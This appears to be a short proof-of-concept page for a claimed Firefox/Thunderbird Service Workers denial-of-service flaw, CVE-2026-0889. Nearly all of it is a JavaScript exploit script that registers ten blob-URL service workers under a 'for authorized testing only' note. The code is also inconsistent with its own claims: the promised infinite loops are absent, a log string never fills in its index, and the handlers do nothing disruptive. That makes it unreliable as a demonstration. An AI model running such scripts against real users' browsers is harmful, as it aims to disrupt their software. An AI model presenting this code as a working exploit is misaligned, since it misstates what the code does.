CVE-2026-0889 Firefox/Thunderbird DOM Service Workers拒绝服务漏洞

// CVE-2026-0889 PoC - Service Workers DoS // This PoC demonstrates the Service Workers DoS vulnerability // Note: For authorized security testing only (async function() { console.log('Starting Service Workers DoS test...'); // Register multiple Service Workers with infinite loops async function registerWorker(index) { const swCode = ` self.addEventListener('install', event => { // Potentially problematic install handler console.log('SW ${index} installing'); self.skipWaiting(); }); self.addEventListener('activate', event => { console.log('SW ${index} activating'); event.waitUntil(clients.claim()); }); self.addEventListener('fetch', event => { // Malformed fetch handler that could cause DoS event.respondWith(new Response('Loop', { status: 200, headers: { 'Content-Type': 'text/html' } })); }); `; const blob = new Blob([swCode], { type: 'application/javascript' }); const swUrl = URL.createObjectURL(blob); try { await navigator.serviceWorker.register(swUrl, { scope: `/sw-${index}/` }); console.log('Service Worker ${index} registered'); } catch (error) { console.error('Registration failed:', error); } } // Register multiple workers to stress test for (let i = 0; i < 10; i++) { await registerWorker(i); await new Promise(r => setTimeout(r, 100)); } console.log('Service Workers DoS test initiated'); })();